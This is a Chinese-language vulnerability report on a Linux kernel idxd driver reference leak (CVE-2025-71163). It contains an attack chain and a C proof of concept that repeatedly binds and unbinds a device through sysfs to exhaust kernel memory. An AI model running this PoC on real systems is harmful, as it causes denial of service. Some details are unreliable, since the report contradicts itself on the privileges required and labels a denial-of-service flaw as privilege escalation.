IPBUF安全漏洞报告
English
CVE-2025-71163 CVSS 5.5 中危

Linux kernel idxd驱动设备引用泄漏漏洞 (CVE-2025-71163)

披露日期: 2026-01-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71163
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel dmaengine idxd driver

相关标签

Linux内核设备驱动资源泄漏拒绝服务dmaengineidxd本地提权CVSS 5.5

漏洞概述

CVE-2025-71163是Linux内核中dmaengine idxd驱动程序的一个设备引用泄漏漏洞。该漏洞存在于compat bind和unbind的sysfs接口实现中,当进行设备查找操作时,系统会获取设备引用,但在操作完成后未能正确释放这些引用。攻击者通过本地低权限账户反复执行bind和unbind操作,可以导致idxd设备的引用计数持续增长,最终造成内核内存资源耗尽,触发拒绝服务(DoS)条件。由于该漏洞的CVSS评分5.5(AV:L/PR:L/UI:N),攻击复杂度低且无需用户交互,攻击者只需在系统上拥有低权限账户即可实施攻击。此漏洞主要影响系统可用性,CVSS向量中的A:H(可用性影响为高)也印证了这一点。

技术细节

Linux内核的idxd驱动程序负责管理Intel DSA(Data Streaming Accelerator)设备的DMA引擎操作。在compat bind和unbind的sysfs接口代码路径中,当调用相关函数查找idxd设备时,内核会获取该设备的引用(增加引用计数),但在函数返回前未能正确调用对应的释放函数(减少引用计数)。这种引用泄漏在反复执行bind/unbind操作时会累积,导致内核对象无法被正常回收。随着泄漏的设备引用数量增加,内核内存会逐渐耗尽,最终可能导致系统不稳定或崩溃。攻击者可以利用此漏洞在本地进行资源耗尽攻击,无需特殊权限即可触发,影响系统的可用性和稳定性。

攻击链分析

STEP 1
1
攻击者获取系统本地低权限账户访问权限
STEP 2
2
定位Linux内核idxd驱动的sysfs接口路径(/sys/bus/dsa/drivers/idxd)
STEP 3
3
识别系统中可用的idxd设备(如dsa0、dsa1等)
STEP 4
4
循环执行bind操作获取设备引用,然后执行unbind操作
STEP 5
5
由于驱动代码缺陷,unbind时未释放设备引用,导致引用计数持续增长
STEP 6
6
随着迭代次数增加,内核内存资源被逐渐耗尽
STEP 7
7
最终触发内核OOM killer或系统崩溃,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> /* * CVE-2025-71163 PoC - Linux kernel idxd device reference leak * * This PoC demonstrates the device reference leak in idxd driver * by repeatedly triggering bind/unbind operations through sysfs. * * Note: This requires root privileges to write to sysfs. * The actual exploit would need to target specific idxd device paths. */ #define SYSFS_IDXD_PATH "/sys/bus/dsa/drivers/idxd" #define BIND_PATH SYSFS_IDXD_PATH "/bind" #define UNBIND_PATH SYSFS_IDXD_PATH "/unbind" void trigger_leak(const char *device_id) { int fd; char buffer[256]; // Trigger bind operation - causes reference acquisition fd = open(BIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } // Trigger unbind operation - should release reference but doesn't fd = open(UNBIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } } int main(int argc, char *argv[]) { const char *device_id = "dsa0"; int iterations = 100000; int i; if (argc > 1) { iterations = atoi(argv[1]); } if (argc > 2) { device_id = argv[2]; } printf("CVE-2025-71163 PoC - Starting reference leak test\n"); printf("Target device: %s, Iterations: %d\n", device_id, iterations); for (i = 0; i < iterations; i++) { trigger_leak(device_id); if (i % 1000 == 0) { printf("Progress: %d/%d iterations\n", i, iterations); } } printf("Test complete. Check dmesg for memory pressure warnings.\n"); return 0; }

影响范围

Linux kernel < 6.12(包含idxd驱动的所有版本)
受影响的稳定版本:5.15.y、5.10.y、6.1.y、6.6.y等
特定补丁版本:0c97ff108f825a70c3bb29d65ddf0a013d231bb9
特定补丁版本:799900f01792cf8b525a44764f065f83fcafd468
特定补丁版本:a7226fd61def74b60dd8e47ec84cabafc39d575b

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1)如果业务不需要Intel DSA/idxd功能,在grub配置中添加idxd.blacklist=yes或modprobe.blacklist=idxd来阻止驱动加载;2)限制非特权用户对sysfs的访问权限;3)监控系统内存使用情况,设置告警阈值;4)使用容器或虚拟机隔离可能受影响的 workloads;5)应用最小权限原则,确保普通用户无法访问设备管理接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表